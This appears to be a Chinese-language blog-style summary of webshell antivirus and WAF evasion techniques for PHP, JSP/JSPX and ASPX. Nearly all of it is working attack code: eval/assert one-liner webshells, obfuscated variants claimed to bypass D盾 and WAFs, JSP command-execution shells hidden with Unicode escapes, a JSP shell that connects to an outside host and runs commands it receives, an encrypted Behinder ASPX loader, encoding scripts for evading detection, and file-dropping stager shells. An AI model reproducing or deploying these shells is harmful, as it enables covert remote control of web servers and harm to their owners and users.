被人玩烂了的东西,看了太多网上的文章了,自己趁最近有空写个总结吧
https://su18.org/post/EiNzuduRG/#5%E6%AD%A3%E5%88%99-e-%E6%A8%A1%E5%BC%8F
https://zeo.cool/2020/12/31/webshell%E5%A4%9A%E7%A7%8D%E6%96%B9%E6%B3%95%E5%85%8D%E6%9D%80/
污点绕过
https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652990938&idx=1&sn=458ea3b0ea978b17d7c494313e53a1fb&scene=21#wechat_redirect
https://mp.weixin.qq.com/s/MFmSliCQaaVEQ0E66vN5Xg
关键点,打乱污点传递
https://mp.weixin.qq.com/s/bLxljfaRHP66MJ7ghv0g1g
php
五种前缀<?php phpinfo();?><script language='php'>phpinfo();</script><?=phpinfo()?><?phpinfo()?><%=phpinfo()%>
一句话
<?php @eval($_POST['hacker']); ?><?php assert($_REQUEST["pass"]);?>蚁剑连接需要编码一下,Cknife不用进行编码
最短一句话
<?=`$_GET[1]`;
引号的区别
php的单引号和双引号是有区别的
<?php$a = '123';$b = '$a';$c = "$a";echo $b;echo '<br>';echo $c;?>输出$a123
可以看出,单引号是原封不动的输出,而双引号则是会进行$的解析
常见的php特性
1、可变变量
<?php$b = "assert";$a = 'b';$$a($_POST['hacker']);?>
2、可变函数
@$_GET['a']($_GET['cmd']);http://127.0.0.1/1.php?a=system&cmd=whoami
3、自写函数
<?phpfunction test($a){$a($_POST['x']);}test(assert);?>
ucwords() //函数把字符串中每个单词的首字符转换为大写ucfirst() //函数把字符串中的首字符转换为大写trim() //函数从字符串的两端删除空白字符和其他预定义字符substr_replace() //函数把字符串的一部分替换为另一个字符串substr() //函数返回字符串的一部分strtr() //函数转换字符串中特定的字符strtoupper() //函数把字符串转换为大写strtolower() //函数把字符串转换为小写strtok() //函数把字符串分割为更小的字符串str_rot13() //函数对字符串执行 ROT13 编码explode //把字符串大散为数组
特殊字符干扰
php支持 换行\r\n 、 \n 、 \r\n\t、tab 、null、注释符 、反引号
<?php$c="NULL";$s=substr ("aabbccsystem".null,"0x6");null.$s/*0*/(null.$_GET/**/['cmd'/*1*/]/*2*/);?>
免杀D盾
<?php$zeo='1';$$zeo=$_POST['x'];eval(NULL.``.$1);?>
版本差异性绕语义WAF
https://learnku.com/articles/35800
https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html
如下代码在PHP5.3以上里,这是解析不了的,因为语法出错了
<?php\echo `whoami`;?>
但是使用php5.2的版本,可以成功执行
16进制字符串
在php7中不认为是数字,php5则依旧为数字
经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行
<?php$s=substr("aabbccsystem","0x6");$s($_GET['cmd']);?>


List正反向解析
php5反方向取值,Php7正方向取值
<?php$info=array("dir","whoami");list($a[0],$a[1])=$info;SYSTEM(END($a))?>php 5 输出 执行dirphp 7 输出 执行whoami
方法不传参
<?phpfunction null($a,$b){return 0;}$a=null();$s=substr("system",$a);$s($_GET['a']);?>//php5支持function不传参 php7的function必须传参


回车换行
AF绕7.3.4命令执行,其他的版本echo必须回车换行
<?=$a=<<< aaassasssasssasssasssasssasssasssasssasssasssassssaa;echo `whoami`?>
Tips
usleep(50);
https://www.cnblogs.com/0xdd/p/12786407.html
科学计数法999e99999=0
<?php$arr[0]='1';$arr[99999e9999999]=$_GET[1];@eval("".$arr[0]."");echo $arr[0];echo $arr[99999e9999999];

php的base64特性
YWE= ————》aa
Y—-W|@^^!@#$%^&*我我|E=)))(((————》aa
可得:Php针对一些特殊符号会将其忽略掉,并且能够成功转化为想要的base64字符串
XOR特性
git clone https://github.com/devploit/XORpasscd XORpass
$ python3 xorpass.py -h
进制转换array_map
https://c.runoob.com/front-end/58/
<?phparray_map(base_convert(27440799224,10,32),array(1))?>
<?php$a[0]="whoami";array_map(base_convert(1751504350,10,36),$a);?>
外部获取参数
<?php$arr = get_defined_functions()['internal'];//var_dump($arr);$arr[457]($_GET['cmd']);
需要根据版本获取到属于那个版本对应的数组位置
assert异或免杀一句话
<? @("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]);?1=phpinfo()
尽量减少get和post
传参时不直接使用$_GET和$_POST,而是用$_REQUEST、$GLOBALS、$_SESSION、$_SERVER内的参数间接传值,确实能绕过很多检测
JSP
Tips
jsp的后缀可以兼容为jspx的代码,也兼容jspx的特性,如CDATA特性。
但是jspx后缀不兼容为jsp的代码,jspx只能用jspx的格式
EL表达式
<html><body>${Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"))}</body></html>
SOCKS
<%Socket socket =new Socket();socket.connect(new InetSocketAddress("1.1.1.1",8888);InputStream inputStream=socket.getInputStream();StringBuilder sb= new StringBuilder();String line;BufferedReader br =new BufferedReader(new InputStreamReader(inputStream));while((line=br.readLine())!=null{sb.append(line);}String str=sb.toString();Runtime.getRuntime().exec(str);%>
反射
<%MethodHandle mh=lookup().findVirtual(Runtime.getRuntime().getClass(),"exec",methodType(Process.class,new Class[] {String.class}));mh.invokeWithArguments(Runtime.getRuntime(),request.getParameter("cmd"));%>
JSPWebshell前沿的免杀技巧
https://xz.aliyun.com/t/10507
https://xz.aliyun.com/t/7798
特性:
JSP支持Unicode转码和换行
Unicode格式为\u0053,且支持\uuuuuuuuuuuuuuu0053,也就是不论加几个u都可以,并且不支持大U,只支持小u
例如xyz可以表示成:
x\u0079\u007a\u0078y\u007a\u0078\u0079z\u0078\u0079\u007A\u0078\uuuu0079\uuu007a\uuuuu0078\uu0079z\uuuuuuuuu0078yz
uniocode转码工具
http://tool.chinaz.com/tools/unicode.aspx
JSP拼接特性
原: <%out. println(“hello”) %>
修改:<%out.%><% println(“hello”) %>
换行特性
java支持换行
哥斯拉免杀
JAVA的注释特性
如下所示,
public void testUnicode() {String a = "Hello";// \u000d a="world";System.out.println(a);// \u000a a="hello world!";System.out.println(a);}
输出world 和hello world
原因:java编译器会处理unicode字符,\u000d以及\u000a 正好对应“\r”回车、“\n”换行,经过编译器处理后,等效于下面的代码:
public void testUnicode() {String a = "Hello";//a="world";System.out.println(a);//a="hello world!";System.out.println(a);}
Java的base64特性
java YQ==Yg== ————》ab
php YQ==Yg== ————》乱码
特性就是可以进行拼接:
a(base64)+b(base6)=ab
jspx的xml语法支持实体化编码
如下所示,实体化编码不影响xml解析,可以全部进行实体化编码过waf
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"xmlns="http://www.w3.org/1999/xhtml"xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2"><jsp:directive.page contentType="text/html" pageEncoding="gb2312"/><jsp:directive.page import="java.io.*"/><html><head><title>jspx</title></head><body><jsp:scriptlet>try {String cmd = request.getParameter("shell");if (cmd !=null){Process child = Runtime.getRuntime().exec(cmd);InputStream in = child.getInputStream();int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}}} catch (IOException e) {System.err.println(e);}</jsp:scriptlet></body></html></jsp:root>
jspx CDATA特性
在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA。
CDATA部分内容会被解析器忽略。
格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
例如
String cmd = request.getPar<![CDATA[ameter]]>("shell");
JSPX里是支持将语法分开的
可以看到,将
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"xmlns="http://www.w3.org/1999/xhtml"xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0"><jsp:directive.page contentType="text/html;charset=UTF-8"pageEncoding="UTF-8"/><jsp:scriptlet>Runtime.getRuntime()</jsp:scriptlet><jsp:scriptlet>.exec(request.getParameter("test"));</jsp:scriptlet></jsp:root>
对于实体化编码<和替换某些关键字的绕过
https://www.jianshu.com/p/c0c566de4e97
JSP编码特性
XML格式的
#python2charset = "utf-8"data = '''<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"version="1.2"><jsp:directive.page contentType="text/html"/><jsp:declaration></jsp:declaration><jsp:scriptlet>Runtime.getRuntime().exec(request.getParameter("i"));</jsp:scriptlet><jsp:text></jsp:text></jsp:root>'''.format(charset=charset)f16be = open('utf-16be.jspx','wb')f16be.write(data.replace('UTF-8','UTF-16be').encode('utf-16be'))f16le = open('utf-16le.jspx','wb')f16le.write(data.replace('UTF-8','UTF-16le').encode('utf-16le'))fcp037 = open('cp037.jspx','wb')fcp037.write(data.replace('UTF-8','CP037').encode('cp037'))
声明头部的方式来进行编码
普通的Jsp可使用如下格式免杀亲测成功
#python2charset = "utf-8"data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)f16be = open('utf-16be.jsp','wb')f16be.write('<%@ page contentType="charset=utf-16be" %>')f16be.write(data.encode('utf-16be'))f16le = open('utf-16le.jsp','wb')f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')f16le.write(data.encode('utf-16le'))fcp037 = open('cp037.jsp','wb')fcp037.write(data.encode('cp037'))fcp037.write('<%@ page contentType="charset=cp037"/>')
直接使用特殊字符的方式来声明编码法方式
经过测试这种方法似乎不能bypass
#python2charset = "utf-8"data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)f16be = open('utf-16be.jsp','wb')f16be.write("\xfe\xff")f16be.write(data.encode('utf-16be'))
jspx自定义头部
原:
现:
<hi xmlns:hi="http://java.sun.com/JSP/Page"><hi:scriptlet>out.println(30*30);</hi:scriptlet></hi>
unicode abcd+// webshell解析
public class test {public static void main(String[] args) throws Exception {java.lang.Runtime.getRuntime().//\u000d\uabcdexec("whoami");}}java里报错<%Runtime.getRuntime().//\u000d\uabcdexec("calc");%>JSP下成功
一个jspwebshell免杀项目
https://github.com/EmYiQing/JSPHorse
ASPX
0、\unicode
ASPX同样支持\unicode
如xyz使用工具会转成
\u0078\u0079\u007a
但是他还支持
\u0078y\u007a\u0078\u0079z\u0078\u0079\u007A\U00000078\u0079z\U00000078\u200c\u200d\u200d\U0000200d\u0079z等等。。。
不同JSP的是,他仅支持对26个字母进行unicode编码
1、注释
此外,ASPX还支持/1212121/添加在函数之间进行混淆和
2、<% %>截断
ASPX支持使用多个<% %>来对语句进行拼接
3、空字符连接
\u200c \u200d \u200e \u200f
4、@符号
如哥斯拉webshell存在特征代码,可以添加@符号但是不会影响其解析
(Context.Session[“payload”] == null)
(@Context.@Session[“payload”] == null)
5、头部免杀
之前有遇到过检测该字段的<%@ Page Language=”C#” %>,这个是标识ASPX的一个字段,
针对该字段进行免杀%@Language=CSHARP% 之前修改为这样就过了
同样的,可以修改为
<%@ Page Language=”Jscript”%>
<%@Page Language=JS%>
<%@Page Language="JAVASCRIPT"%><%eval(Request.Item(0),"unsafe");%>但是这个前缀放冰蝎马里就不行了
也可以将该字段放在后面,不一定要放前面等
冰蝎aspx免杀
<%@Language=CSHARP%>{;}<%@Import Namespace="/*qi*/System./*qi*/Reflection/*qi*/"%><%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/);{;}/*qi*/byte[/**/]/*qi*/k=/*qi*/Encoding./*qi*/Default./*qi*/GetBytes(Session[0/**/]+""),c/*qi*/=/*qi*/Request./*qi*/BinaryRead/*qi*/(Request./*qi*/ContentLength/*qi*/);{;}/*qi*/Assembly./*qi*/Load(new/*qi*/System./*qi*/Security/*qi*/.Cryptography./*qi*/RijndaelManaged/*qi*/(/*qi*/)./*qi*/CreateDecryptor/*qi*/(k/*qi*/, k/*qi*/)./*qi*/TransformFinalBlock/*qi*/(c, 0, c.Length))/*qi*/./*qi*/CreateInstance/*qi*/("U"/*qi*/)./*qi*/Equals/*qi*/(this/*qi*/)/*qi*/;{;}%>
6、字符编码格式转变
VSCODE 修改编码格式,如果Waf不支持编码UTF16编码的话,同样存在waf绕过的可能性
中转马
JSP中转马
<%//写文件到当前目录下 与当前 jsp 同目录String a=application.getRealPath(request.getServletPath())+"2.txt";//当前 jsp 全路径 xx/xx.jsp2.txtout.println(a);String b=new String(newsun.misc.BASE64Decoder().decodeBuffer(request.getParameter("c"))); //base64 内容new java.io./**/FileOutputStream(a).write(b.getBytes());%>
ASPX
<%@ page Language="Jscript" %><%System.IO.File.WriteAllText(System.Web.HttpContext.Current.Server.MapPath("")+"\\1.txt",System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("YXNkYXNkc2Q=")));%>
无%%的JSP马
example:http://127.0.0.1/shell.jsp?cmd=whoami
win:
<jsp:scriptlet> if(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd") != \u006e\u0075\u006c\u006c){ \u0050\u0072\u006f\u0063\u0065\u0073\u0073 p = \u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063("cmd.exe /c " + \u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd")); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d os = p.getOutputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d in = p.getInputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d dis = new java.io.DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } out.println("\u0074\u0030\u0030\u006c\u0073\u0020\u0031\u0032\u0034\u0035\u0035"); </jsp:scriptlet>
Linux:
<jsp:scriptlet> if(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd") != \u006e\u0075\u006c\u006c){ \u0050\u0072\u006f\u0063\u0065\u0073\u0073 p = \u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd")); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d os = p.getOutputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d in = p.getInputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d dis = new java.io.DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } out.println("\u0074\u0030\u0030\u006c\u0073\u0020\u0031\u0032\u0034\u0035\u0035"); </jsp:scriptlet>
参考文章:
https://mp.weixin.qq.com/s/It_TxaorAKu_nwcCpyglCA
https://xz.aliyun.com/t/5152
https://xz.aliyun.com/t/5193
https://blog.csdn.net/weixin_50464560/article/details/120786013
